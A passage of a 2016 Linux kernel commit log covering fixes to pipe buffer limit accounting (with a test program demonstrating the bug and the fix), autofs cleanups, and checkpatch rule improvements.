(b) Make new pipe buffer allocation. (c) Account new allocation against the limits. This is racey. Multiple processes may pass point (a) simultaneously, and then allocate pipe buffers that are accounted for only in step (c). The race means that the user's pipe buffer allocation could be pushed over the limit (by an arbitrary amount, depending on how unlucky we were in the race). [Thanks to Vegard Nossum for spotting this point, which I had missed.] This patch addresses the above problems as follows: * Alter the checks against limits to include the memory required for the new pipe. * Re-order the accounting step so that it precedes the buffer allocation. If the accounting step determines that a limit has been reached, revert the accounting and cause the operation to fail. Link: http://lkml.kernel.org/r/8ff3e9f9-23f6-510c-644f-8e70cd1c0bd9@gmail.com Signed-off-by: Michael Kerrisk Reviewed-by: Vegard Nossum Cc: Willy Tarreau Cc: Cc: Tetsuo Handa Cc: Jens Axboe Cc: Al Viro Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds fs/pipe.c | 20 +++++++++++++------- 1 file changed, 13 insertions(+), 7 deletions(-) commit 09b4d1990094dd22c27fb0163534db419458569c Author: Michael Kerrisk (man-pages) Date: Tue Oct 11 13:53:34 2016 -0700 pipe: simplify logic in alloc_pipe_info() Replace an 'if' block that covers most of the code in this function with a 'goto'. This makes the code a little simpler to read, and also simplifies the next patch (fix limit checking in alloc_pipe_info()) Link: http://lkml.kernel.org/r/aef030c1-0257-98a9-4988-186efa48530c@gmail.com Signed-off-by: Michael Kerrisk Reviewed-by: Vegard Nossum Cc: Willy Tarreau Cc: Cc: Tetsuo Handa Cc: Jens Axboe Cc: Al Viro Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds fs/pipe.c | 45 +++++++++++++++++++++++---------------------- 1 file changed, 23 insertions(+), 22 deletions(-) commit b0b91d18e2e97b741b294af9333824ecc3fadfd8 Author: Michael Kerrisk (man-pages) Date: Tue Oct 11 13:53:31 2016 -0700 pipe: fix limit checking in pipe_set_size() The limit checking in pipe_set_size() (used by fcntl(F_SETPIPE_SZ)) has the following problems: (1) When increasing the pipe capacity, the checks against the limits in /proc/sys/fs/pipe-user-pages-{soft,hard} are made against existing consumption, and exclude the memory required for the increased pipe capacity. The new increase in pipe capacity can then push the total memory used by the user for pipes (possibly far) over a limit. This can also trigger the problem described next. (2) The limit checks are performed even when the new pipe capacity is less than the existing pipe capacity. This can lead to problems if a user sets a large pipe capacity, and then the limits are lowered, with the result that the user will no longer be able to decrease the pipe capacity. (3) As currently implemented, accounting and checking against the limits is done as follows: (a) Test whether the user has exceeded the limit. (b) Make new pipe buffer allocation. (c) Account new allocation against the limits. This is racey. Multiple processes may pass point (a) simultaneously, and then allocate pipe buffers that are accounted for only in step (c). The race means that the user's pipe buffer allocation could be pushed over the limit (by an arbitrary amount, depending on how unlucky we were in the race). [Thanks to Vegard Nossum for spotting this point, which I had missed.] This patch addresses the above problems as follows: * Perform checks against the limits only when increasing a pipe's capacity; an unprivileged user can always decrease a pipe's capacity. * Alter the checks against limits to include the memory required for the new pipe capacity. * Re-order the accounting step so that it precedes the buffer allocation. If the accounting step determines that a limit has been reached, revert the accounting and cause the operation to fail. The program below can be used to demonstrate problems 1 and 2, and the effect of the fix. The program takes one or more command-line arguments. The first argument specifies the number of pipes that the program should create. The remaining arguments are, alternately, pipe capacities that should be set using fcntl(F_SETPIPE_SZ), and sleep intervals (in seconds) between the fcntl() operations. (The sleep intervals allow the possibility to change the limits between fcntl() operations.) Problem 1 ========= Using the test program on an unpatched kernel, we first set some limits: # echo 0 > /proc/sys/fs/pipe-user-pages-soft # echo 1000000000 > /proc/sys/fs/pipe-max-size # echo 10000 > /proc/sys/fs/pipe-user-pages-hard # 40.96 MB Then show that we can set a pipe with capacity (100MB) that is over the hard limit # sudo -u mtk ./test_F_SETPIPE_SZ 1 100000000 Initial pipe capacity: 65536 Loop 1: set pipe capacity to 100000000 bytes F_SETPIPE_SZ returned 134217728 Now set the capacity to 100MB twice. The second call fails (which is probably surprising to most users, since it seems like a no-op): # sudo -u mtk ./test_F_SETPIPE_SZ 1 100000000 0 100000000 Initial pipe capacity: 65536 Loop 1: set pipe capacity to 100000000 bytes F_SETPIPE_SZ returned 134217728 Loop 2: set pipe capacity to 100000000 bytes Loop 2, pipe 0: F_SETPIPE_SZ failed: fcntl: Operation not permitted With a patched kernel, setting a capacity over the limit fails at the first attempt: # echo 0 > /proc/sys/fs/pipe-user-pages-soft # echo 1000000000 > /proc/sys/fs/pipe-max-size # echo 10000 > /proc/sys/fs/pipe-user-pages-hard # sudo -u mtk ./test_F_SETPIPE_SZ 1 100000000 Initial pipe capacity: 65536 Loop 1: set pipe capacity to 100000000 bytes Loop 1, pipe 0: F_SETPIPE_SZ failed: fcntl: Operation not permitted There is a small chance that the change to fix this problem could break user-space, since there are cases where fcntl(F_SETPIPE_SZ) calls that previously succeeded might fail. However, the chances are small, since (a) the pipe-user-pages-{soft,hard} limits are new (in 4.5), and the default soft/hard limits are high/unlimited. Therefore, it seems warranted to make these limits operate more precisely (and behave more like what users probably expect). Problem 2 ========= Running the test program on an unpatched kernel, we first set some limits: # getconf PAGESIZE 4096 # echo 0 > /proc/sys/fs/pipe-user-pages-soft # echo 1000000000 > /proc/sys/fs/pipe-max-size # echo 10000 > /proc/sys/fs/pipe-user-pages-hard # 40.96 MB Now perform two fcntl(F_SETPIPE_SZ) operations on a single pipe, first setting a pipe capacity (10MB), sleeping for a few seconds, during which time the hard limit is lowered, and then set pipe capacity to a smaller amount (5MB): # sudo -u mtk ./test_F_SETPIPE_SZ 1 10000000 15 5000000 & [1] 748 # Initial pipe capacity: 65536 Loop 1: set pipe capacity to 10000000 bytes F_SETPIPE_SZ returned 16777216 Sleeping 15 seconds # echo 1000 > /proc/sys/fs/pipe-user-pages-hard # 4.096 MB # Loop 2: set pipe capacity to 5000000 bytes Loop 2, pipe 0: F_SETPIPE_SZ failed: fcntl: Operation not permitted In this case, the user should be able to lower the limit. With a kernel that has the patch below, the second fcntl() succeeds: # echo 0 > /proc/sys/fs/pipe-user-pages-soft # echo 1000000000 > /proc/sys/fs/pipe-max-size # echo 10000 > /proc/sys/fs/pipe-user-pages-hard # sudo -u mtk ./test_F_SETPIPE_SZ 1 10000000 15 5000000 & [1] 3215 # Initial pipe capacity: 65536 # Loop 1: set pipe capacity to 10000000 bytes F_SETPIPE_SZ returned 16777216 Sleeping 15 seconds # echo 1000 > /proc/sys/fs/pipe-user-pages-hard # Loop 2: set pipe capacity to 5000000 bytes F_SETPIPE_SZ returned 8388608 8x---8x---8x---8x---8x---8x---8x---8x---8x---8x---8x---8x---8x---8x--- /* test_F_SETPIPE_SZ.c (C) 2016, Michael Kerrisk; licensed under GNU GPL version 2 or later Test operation of fcntl(F_SETPIPE_SZ) for setting pipe capacity and interactions with limits defined by /proc/sys/fs/pipe-* files. */ #define _GNU_SOURCE #include #include #include #include int main(int argc, char *argv[]) { int (*pfd)[2]; int npipes; int pcap, rcap; int j, p, s, stime, loop; if (argc < 2) { fprintf(stderr, "Usage: %s num-pipes " "[pipe-capacity sleep-time]...\n", argv[0]); exit(EXIT_FAILURE); } npipes = atoi(argv[1]); pfd = calloc(npipes, sizeof (int [2])); if (pfd == NULL) { perror("calloc"); exit(EXIT_FAILURE); } for (j = 0; j < npipes; j++) { if (pipe(pfd[j]) == -1) { fprintf(stderr, "Loop %d: pipe() failed: ", j); perror("pipe"); exit(EXIT_FAILURE); } } printf("Initial pipe capacity: %d\n", fcntl(pfd[0][0], F_GETPIPE_SZ)); for (j = 2; j < argc; j += 2 ) { loop = j / 2; pcap = atoi(argv[j]); printf(" Loop %d: set pipe capacity to %d bytes\n", loop, pcap); for (p = 0; p < npipes; p++) { s = fcntl(pfd[p][0], F_SETPIPE_SZ, pcap); if (s == -1) { fprintf(stderr, " Loop %d, pipe %d: F_SETPIPE_SZ " "failed: ", loop, p); perror("fcntl"); exit(EXIT_FAILURE); } if (p == 0) { printf(" F_SETPIPE_SZ returned %d\n", s); rcap = s; } else { if (s != rcap) { fprintf(stderr, " Loop %d, pipe %d: F_SETPIPE_SZ " "unexpected return: %d\n", loop, p, s); exit(EXIT_FAILURE); } } stime = (j + 1 < argc) ? atoi(argv[j + 1]) : 0; if (stime > 0) { printf(" Sleeping %d seconds\n", stime); sleep(stime); } } } exit(EXIT_SUCCESS); } 8x---8x---8x---8x---8x---8x---8x---8x---8x---8x---8x---8x---8x---8x--- Patch history: v2 * Switch order of test in 'if' statement to avoid function call (to capability()) in normal path. [This is a fix to a preexisting wart in the code. Thanks to Willy Tarreau] * Perform (size > pipe_max_size) check before calling account_pipe_buffers(). [Thanks to Vegard Nossum] Quoting Vegard: The potential problem happens if the user passes a very large number which will overflow pipe->user->pipe_bufs. On 32-bit, sizeof(int) == sizeof(long), so if they pass arg = INT_MAX then round_pipe_size() returns INT_MAX. Although it's true that the accounting is done in terms of pages and not bytes, so you'd need on the order of (1 << 13) = 8192 processes hitting the limit at the same time in order to make it overflow, which seems a bit unlikely. (See https://lkml.org/lkml/2016/8/12/215 for another discussion on the limit checking) Link: http://lkml.kernel.org/r/1e464945-536b-2420-798b-e77b9c7e8593@gmail.com Signed-off-by: Michael Kerrisk Reviewed-by: Vegard Nossum Cc: Willy Tarreau Cc: Cc: Tetsuo Handa Cc: Jens Axboe Cc: Al Viro Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds fs/pipe.c | 41 +++++++++++++++++++++++++++++++---------- 1 file changed, 31 insertions(+), 10 deletions(-) commit 3734a13b96ebf039b293d8d37a934fd1bd9e03ab Author: Michael Kerrisk (man-pages) Date: Tue Oct 11 13:53:28 2016 -0700 pipe: refactor argument for account_pipe_buffers() This is a preparatory patch for following work. account_pipe_buffers() performs accounting in the 'user_struct'. There is no need to pass a pointer to a 'pipe_inode_info' struct (which is then dereferenced to obtain a pointer to the 'user' field). Instead, pass a pointer directly to the 'user_struct'. This change is needed in preparation for a subsequent patch that the fixes the limit checking in alloc_pipe_info() (and the resulting code is a little more logical). Link: http://lkml.kernel.org/r/7277bf8c-a6fc-4a7d-659c-f5b145c981ab@gmail.com Signed-off-by: Michael Kerrisk Reviewed-by: Vegard Nossum Cc: Willy Tarreau Cc: Cc: Tetsuo Handa Cc: Jens Axboe Cc: Al Viro Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds fs/pipe.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit d37d41666408102bf0ac8e48d8efdce7b809e5f6 Author: Michael Kerrisk (man-pages) Date: Tue Oct 11 13:53:25 2016 -0700 pipe: move limit checking logic into pipe_set_size() This is a preparatory patch for following work. Move the F_SETPIPE_SZ limit-checking logic from pipe_fcntl() into pipe_set_size(). This simplifies the code a little, and allows for reworking required in a later patch that fixes the limit checking in pipe_set_size() Link: http://lkml.kernel.org/r/3701b2c5-2c52-2c3e-226d-29b9deb29b50@gmail.com Signed-off-by: Michael Kerrisk Reviewed-by: Vegard Nossum Cc: Willy Tarreau Cc: Cc: Tetsuo Handa Cc: Jens Axboe Cc: Al Viro Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds fs/pipe.c | 41 ++++++++++++++++++----------------------- 1 file changed, 18 insertions(+), 23 deletions(-) commit f491bd71118beba608d39ac2d5f1530e1160cd2e Author: Michael Kerrisk (man-pages) Date: Tue Oct 11 13:53:22 2016 -0700 pipe: relocate round_pipe_size() above pipe_set_size() Patch series "pipe: fix limit handling", v2. When changing a pipe's capacity with fcntl(F_SETPIPE_SZ), various limits defined by /proc/sys/fs/pipe-* files are checked to see if unprivileged users are exceeding limits on memory consumption. While documenting and testing the operation of these limits I noticed that, as currently implemented, these checks have a number of problems: (1) When increasing the pipe capacity, the checks against the limits in /proc/sys/fs/pipe-user-pages-{soft,hard} are made against existing consumption, and exclude the memory required for the increased pipe capacity. The new increase in pipe capacity can then push the total memory used by the user for pipes (possibly far) over a limit. This can also trigger the problem described next. (2) The limit checks are performed even when the new pipe capacity is less than the existing pipe capacity. This can lead to problems if a user sets a large pipe capacity, and then the limits are lowered, with the result that the user will no longer be able to decrease the pipe capacity. (3) As currently implemented, accounting and checking against the limits is done as follows: (a) Test whether the user has exceeded the limit. (b) Make new pipe buffer allocation. (c) Account new allocation against the limits. This is racey. Multiple processes may pass point (a) simultaneously, and then allocate pipe buffers that are accounted for only in step (c). The race means that the user's pipe buffer allocation could be pushed over the limit (by an arbitrary amount, depending on how unlucky we were in the race). [Thanks to Vegard Nossum for spotting this point, which I had missed.] This patch series addresses these three problems. This patch (of 8): This is a minor preparatory patch. After subsequent patches, round_pipe_size() will be called from pipe_set_size(), so place round_pipe_size() above pipe_set_size(). Link: http://lkml.kernel.org/r/91a91fdb-a959-ba7f-b551-b62477cc98a1@gmail.com Signed-off-by: Michael Kerrisk Reviewed-by: Vegard Nossum Cc: Willy Tarreau Cc: Cc: Tetsuo Handa Cc: Jens Axboe Cc: Al Viro Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds fs/pipe.c | 24 ++++++++++++------------ 1 file changed, 12 insertions(+), 12 deletions(-) commit fcc24534b0d63556357889ac4fe9d8942677d85e Author: Tomohiro Kusumi Date: Tue Oct 11 13:53:19 2016 -0700 autofs: refactor ioctl fn vector in iookup_dev_ioctl() cmd part of this struct is the same as an index of itself within _ioctls[]. In fact this cmd is unused, so we can drop this part. Link: http://lkml.kernel.org/r/20160831033414.9910.66697.stgit@pluto.themaw.net Signed-off-by: Tomohiro Kusumi Signed-off-by: Ian Kent Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds fs/autofs4/dev-ioctl.c | 49 ++++++++++++++++--------------------------------- 1 file changed, 16 insertions(+), 33 deletions(-) commit 962ca7cfbdc4d072350c94b2d52894b39f41be4a Author: Tomohiro Kusumi Date: Tue Oct 11 13:53:16 2016 -0700 autofs: remove possibly misleading /* #define DEBUG */ Having this in autofs_i.h gives illusion that uncommenting this enables pr_debug(), but it doesn't enable all the pr_debug() in autofs because inclusion order matters. XFS has the same DEBUG macro in its core header fs/xfs/xfs.h, however XFS seems to have a rule to include this prior to other XFS headers as well as kernel headers. This is not the case with autofs, and DEBUG could be enabled via Makefile, so autofs should just get rid of this comment to make the code less confusing. It's a comment, so there is literally no functional difference. Link: http://lkml.kernel.org/r/20160831033409.9910.77067.stgit@pluto.themaw.net Signed-off-by: Tomohiro Kusumi Signed-off-by: Ian Kent Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds fs/autofs4/autofs_i.h | 2 -- 1 file changed, 2 deletions(-) commit 9b88ee0f3bb4c5b1e721bdcee93601b501d72f0a Author: Ian Kent Date: Tue Oct 11 13:53:13 2016 -0700 autofs4: move linux/auto_dev-ioctl.h to uapi/linux Since linux/auto_dev-ioctl.h wasn't included in include/linux/Kbuild it wasn't moved to uapi/linux as part of the uapi series. Link: http://lkml.kernel.org/r/20160812024901.12352.10984.stgit@pluto.themaw.net Signed-off-by: Ian Kent Cc: Tomohiro Kusumi Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds include/linux/auto_dev-ioctl.h | 209 +--------------------------------- include/uapi/linux/auto_dev-ioctl.h | 221 ++++++++++++++++++++++++++++++++++++ 2 files changed, 222 insertions(+), 208 deletions(-) commit f58b3c91f6786c66483fc18fd8b82a74cbf96d19 Author: Tomohiro Kusumi Date: Tue Oct 11 13:53:10 2016 -0700 autofs: move inclusion of linux/limits.h to uapi linux/limits.h should be included by uapi instead of linux/auto_fs.h so as not to cause compile error in userspace. # cat << EOF > ./test1.c > #include > #include > int main(void) { > return 0; > } > EOF # gcc -Wall -g ./test1.c In file included from ./test1.c:2:0: /usr/include/linux/auto_fs.h:54:12: error: 'NAME_MAX' undeclared here (not in a function) char name[NAME_MAX+1]; ^ Link: http://lkml.kernel.org/r/20160812024856.12352.24092.stgit@pluto.themaw.net Signed-off-by: Tomohiro Kusumi Signed-off-by: Ian Kent Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds include/linux/auto_fs.h | 1 - include/uapi/linux/auto_fs.h | 1 + 2 files changed, 1 insertion(+), 1 deletion(-) commit 390855547c3d20cda0646dc7ac83110208303dd6 Author: Tomohiro Kusumi Date: Tue Oct 11 13:53:08 2016 -0700 autofs: fix print format for ioctl warning message All other warnings use "cmd(0x%08x)" and this is the only one with "cmd(%d)". (below comes from my userspace debug program, but not automount daemon) [ 1139.905676] autofs4:pid:1640:check_dev_ioctl_version: ioctl control interface version mismatch: kernel(1.0), user(0.0), cmd(-1072131215) Link: http://lkml.kernel.org/r/20160812024851.12352.75458.stgit@pluto.themaw.net Signed-off-by: Tomohiro Kusumi Signed-off-by: Ian Kent Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds fs/autofs4/dev-ioctl.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit d9e1923207f7e099c376d8bd01424423e962aeee Author: Ian Kent Date: Tue Oct 11 13:53:05 2016 -0700 autofs: add autofs_dev_ioctl_version() for AUTOFS_DEV_IOCTL_VERSION_CMD No functional changes, based on the following justification. 1. Make the code more consistent using the ioctl vector _ioctls[], rather than assigning NULL only for this ioctl command. 2. Remove goto done; for better maintainability in the long run. 3. The existing code is based on the fact that validate_dev_ioctl() sets ioctl version for any command, but AUTOFS_DEV_IOCTL_VERSION_CMD should explicitly set it regardless of the default behavior. Link: http://lkml.kernel.org/r/20160812024846.12352.9885.stgit@pluto.themaw.net Signed-off-by: Tomohiro Kusumi Signed-off-by: Ian Kent Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds fs/autofs4/dev-ioctl.c | 25 +++++++++++++++++-------- 1 file changed, 17 insertions(+), 8 deletions(-) commit aa8419367b62044e92bd7993eeb83d861b59bafa Author: Ian Kent Date: Tue Oct 11 13:53:02 2016 -0700 autofs: fix dev ioctl number range check The count of miscellaneous device ioctls in fs/autofs4/autofs_i.h is wrong. The number of ioctls is the difference between AUTOFS_DEV_IOCTL_VERSION_CMD and AUTOFS_DEV_IOCTL_ISMOUNTPOINT_CMD (14) not the difference between AUTOFS_IOC_COUNT and 11 (21). [kusumi.tomohiro@gmail.com: fix typo that made the count macro negative] Link: http://lkml.kernel.org/r/20160831033420.9910.16809.stgit@pluto.themaw.net Link: http://lkml.kernel.org/r/20160812024841.12352.11975.stgit@pluto.themaw.net Signed-off-by: Ian Kent Cc: Tomohiro Kusumi Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds fs/autofs4/autofs_i.h | 3 ++- fs/autofs4/dev-ioctl.c | 2 +- 2 files changed, 3 insertions(+), 2 deletions(-) commit b6e3795a06c2fe837e7d0319a923e8978276ec4c Author: Tomohiro Kusumi Date: Tue Oct 11 13:52:59 2016 -0700 autofs: fix pr_debug() message This isn't a return value, so change the message to indicate the status is the result of may_umount(). (or locate pr_debug() after put_user() with the same message) Link: http://lkml.kernel.org/r/20160812024836.12352.74628.stgit@pluto.themaw.net Signed-off-by: Tomohiro Kusumi Signed-off-by: Ian Kent Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds fs/autofs4/root.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit bf72eda5f9c593495127a34d3444b2ec5939e837 Author: Tomohiro Kusumi Date: Tue Oct 11 13:52:56 2016 -0700 autofs: update struct autofs_dev_ioctl in Documentation Sync with changes made by commit 730c9eeca980 ("autofs4: improve parameter usage") which introduced an union for various ioctl commands instead of having statically named arg1,2. This commit simply replaces arg1,2 with the corresponding fields without changing semantics. Link: http://lkml.kernel.org/r/20160812024831.12352.24667.stgit@pluto.themaw.net Signed-off-by: Tomohiro Kusumi Signed-off-by: Ian Kent Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds .../filesystems/autofs4-mount-control.txt | 70 +++++++++++++--------- 1 file changed, 42 insertions(+), 28 deletions(-) commit d873284103dacbe90ace2f3de20dff02fafcfef0 Author: Tomohiro Kusumi Date: Tue Oct 11 13:52:53 2016 -0700 autofs: fix Documentation regarding devid on ioctl The explanation on how ioctl handles devid seems incorrect. Userspace who calls this ioctl has no input regarding devid, and ioctl implementation retrieves devid via superblock. Link: http://lkml.kernel.org/r/20160812024825.12352.13486.stgit@pluto.themaw.net Signed-off-by: Tomohiro Kusumi Signed-off-by: Ian Kent Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Documentation/filesystems/autofs4-mount-control.txt | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) commit 72063e01eda7e7562702bbf790380104bf704379 Author: Tomohiro Kusumi Date: Tue Oct 11 13:52:51 2016 -0700 autofs: remove AUTOFS_DEVID_LEN This macro was never used by neither kernel nor userspace, and also doesn't represent "devid length" in bytes. (unless it was added to mean something else). Link: http://lkml.kernel.org/r/20160812024820.12352.21210.stgit@pluto.themaw.net Signed-off-by: Tomohiro Kusumi Signed-off-by: Ian Kent Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds include/linux/auto_dev-ioctl.h | 2 -- 1 file changed, 2 deletions(-) commit 41a4497a4f786a83292ac40a0a39f75c6c4de722 Author: Tomohiro Kusumi Date: Tue Oct 11 13:52:48 2016 -0700 autofs: don't fail to free_dev_ioctl(param) Returning -ENOTTY here fails to free dynamically allocated param. Link: http://lkml.kernel.org/r/20160812024815.12352.69153.stgit@pluto.themaw.net Signed-off-by: Tomohiro Kusumi Signed-off-by: Ian Kent Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds fs/autofs4/dev-ioctl.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit eea618e6d5a819f2a739d441efccc444e57e68c2 Author: Tomohiro Kusumi Date: Tue Oct 11 13:52:45 2016 -0700 autofs: remove obsolete sb fields These two were left from commit aa55ddf340c9 ("autofs4: remove unused ioctls") which removed unused ioctls. Link: http://lkml.kernel.org/r/20160812024810.12352.96377.stgit@pluto.themaw.net Signed-off-by: Tomohiro Kusumi Signed-off-by: Ian Kent Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds fs/autofs4/autofs_i.h | 2 -- 1 file changed, 2 deletions(-) commit ca552599bfb9888ba9371eb4a9659a02b86529e6 Author: Tomohiro Kusumi Date: Tue Oct 11 13:52:42 2016 -0700 autofs: use autofs4_free_ino() to kfree dentry data kfree dentry data allocated by autofs4_new_ino() with autofs4_free_ino() instead of raw kfree. (since we have the interface to free autofs_info*) This patch was modified to remove the need to set the dentry info field to NULL dew to a change in the previous patch. Link: http://lkml.kernel.org/r/20160812024805.12352.43650.stgit@pluto.themaw.net Signed-off-by: Tomohiro Kusumi Signed-off-by: Ian Kent Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds fs/autofs4/inode.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 1574fa7beb9f71a60b5b8f2532ca69d3153ded79 Author: Ian Kent Date: Tue Oct 11 13:52:39 2016 -0700 autofs: remove ino free in autofs4_dir_symlink() The inode allocation failure case in autofs4_dir_symlink() frees the autofs dentry info of the dentry without setting ->d_fsdata to NULL. That could lead to a double free so just get rid of the free and leave it to ->d_release(). Link: http://lkml.kernel.org/r/20160812024759.12352.10653.stgit@pluto.themaw.net Signed-off-by: Ian Kent Cc: Tomohiro Kusumi Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds fs/autofs4/root.c | 2 -- 1 file changed, 2 deletions(-) commit 97537b35b662855e19f2812d3d716bde6f237cfa Author: Tomohiro Kusumi Date: Tue Oct 11 13:52:36 2016 -0700 autofs: add WARN_ON(1) for non dir/link inode case It's invalid if the given mode is neither dir nor link, so warn on else case. Link: http://lkml.kernel.org/r/20160812024754.12352.8536.stgit@pluto.themaw.net Signed-off-by: Tomohiro Kusumi Signed-off-by: Ian Kent Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds fs/autofs4/inode.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 1973a122697168c0585ffce9d4bd46745ddaa6f6 Author: Ian Kent Date: Tue Oct 11 13:52:33 2016 -0700 autofs: fix autofs4_fill_super() error exit handling Somewhere along the line the error handling gotos have become incorrect. Link: http://lkml.kernel.org/r/20160812024749.12352.15100.stgit@pluto.themaw.net Signed-off-by: Ian Kent Cc: Tomohiro Kusumi Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds fs/autofs4/inode.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 749800ef537848b9569da9bb1463f1de4b96c0a4 Author: Tomohiro Kusumi Date: Tue Oct 11 13:52:31 2016 -0700 autofs: test autofs versions first on sb initialization This patch does what the below comment says. It could be and it's considered better to do this first before various functions get called during initialization. /* Couldn't this be tested earlier? */ Link: http://lkml.kernel.org/r/20160812024744.12352.43075.stgit@pluto.themaw.net Signed-off-by: Tomohiro Kusumi Signed-off-by: Ian Kent Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds fs/autofs4/inode.c | 34 +++++++++++++++++----------------- 1 file changed, 17 insertions(+), 17 deletions(-) commit 4a44c1859ffd9926ba4d47d1b538d119065ec2f5 Author: Tomohiro Kusumi Date: Tue Oct 11 13:52:28 2016 -0700 autofs: drop unnecessary extern in autofs_i.h autofs4_kill_sb() doesn't need to be declared as extern, and no other functions in .h are explicitly declared as extern. Link: http://lkml.kernel.org/r/20160812024739.12352.99354.stgit@pluto.themaw.net Signed-off-by: Tomohiro Kusumi Signed-off-by: Ian Kent Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds fs/autofs4/autofs_i.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit e662145f5c1276d35e8955b3df7a68da306ee498 Author: Tomohiro Kusumi Date: Tue Oct 11 13:52:25 2016 -0700 autofs: fix typos in Documentation/filesystems/autofs4.txt plus minor whitespace fixes. Link: http://lkml.kernel.org/r/20160812024734.12352.17122.stgit@pluto.themaw.net Signed-off-by: Tomohiro Kusumi Signed-off-by: Ian Kent Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Documentation/filesystems/autofs4.txt | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit bfd45be0b83e8f711f3abc892850d6047972d127 Author: Christoph Hellwig Date: Tue Oct 11 13:52:22 2016 -0700 kprobes: include instead of asm-generic headers are generic implementations for architecture specific code and should not be included by common code. Thus use the asm/ version of sections.h to get at the linker sections. Link: http://lkml.kernel.org/r/1473602302-6208-1-git-send-email-hch@lst.de Signed-off-by: Christoph Hellwig Acked-by: Masami Hiramatsu Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds kernel/kprobes.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 459cf0ae5d6600592a539bc861c84e14ed1a5bcb Author: Joe Perches Date: Tue Oct 11 13:52:19 2016 -0700 checkpatch: improve the octal permissions tests The function calls with octal permissions commonly span multiple lines. The current test is line oriented and fails to find some matches. Make the test use the $stat variable instead of the $line variable to span multiple lines. Also add a few functions to the known functions with permissions list. Move the SYMBOLIC_PERMS test to a separate section to find all the S_ permissions in any form not just those that have specific function names. This can now find and fix permissions uses like: .mode = S_ | S_; Link: http://lkml.kernel.org/r/b51bab60530912aae4ac420119d465c5b206f19f.1475030406.git.joe@perches.com Signed-off-by: Joe Perches Tested-by: Ramiro Oliveira Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds scripts/checkpatch.pl | 60 +++++++++++++++++++++++++++++++++++++-------------- 1 file changed, 44 insertions(+), 16 deletions(-) commit ca0d8929e75ab1f860f61208d46955f280a1b05e Author: Joe Perches Date: Tue Oct 11 13:52:16 2016 -0700 checkpatch: add warning for unnamed function definition arguments Function definitions without identifiers like int foo(int) are not preferred. Emit a warning when they occur. Link: http://lkml.kernel.org/r/94fe6378504745991b650f48fc92bb4648f25706.1474925354.git.joe@perches.com Signed-off-by: Joe Perches Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds scripts/checkpatch.pl | 13 +++++++++++++ 1 file changed, 13 insertions(+) commit 5207649b7b1d2b1e1f8c97df91debfaa8de37669 Author: Joe Perches Date: Tue Oct 11 13:52:14 2016 -0700 checkpatch: improve MACRO_ARG_PRECEDENCE test It is possible for a multiple line macro definition to have a false positive report when an argument is used on a line after a continuation \. This line might have a leading '+' as the initial character that could be confused by checkpatch as an operator. Avoid the leading character on multiple line macro definitions. Link: http://lkml.kernel.org/r/60229d13399f9b6509db5a32e30d4c16951a60cd.1473836073.git.joe@perches.com Signed-off-by: Joe Perches Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds scripts/checkpatch.pl | 20 +++++++++++++++++++- 1 file changed, 19 insertions(+), 1 deletion(-) commit 9192d41a3f0b98844860f1de5b82f729bbe07c61 Author: Joe Perches Date: Tue Oct 11 13:52:11 2016 -0700 checkpatch: add --strict test for precedence challenged macro arguments Add a test for macro arguents that have a non-comma leading or trailing operator where the argument isn't parenthesized to avoid possible precedence issues. Link: http://lkml.kernel.org/r/47715508972f8d786f435e583ff881dbeee3a114.1473745855.git.joe@perches.com Signed-off-by: Joe Perches Cc: Andy Whitcroft Cc: Julia Lawall Cc: Dan Carpenter Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds scripts/checkpatch.pl | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) commit f59b64bffe163431b4ec61f3b00c1aeb846948f3 Author: Joe Perches Date: Tue Oct 11 13:52:08 2016 -0700 checkpatch: add --strict test for macro argument reuse If a macro argument is used multiple times in the macro definition, the macro argument may have an unexpected side-effect. Add a test (MACRO_ARG_REUSE) for that condition which is only emitted with command-line option --strict. Link: http://lkml.kernel.org/r/b6d67a87cafcafd15499e91780dc63b15dec0aa0.1473744906.git.joe@perches.com Signed-off-by: Joe Perches Cc: Andy Whitcroft Cc: Julia Lawall Cc: Dan Carpenter Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds scripts/checkpatch.pl | 43 +++++++++++++++++++++++++++++++++++-------- 1 file changed, 35 insertions(+), 8 deletions(-) commit 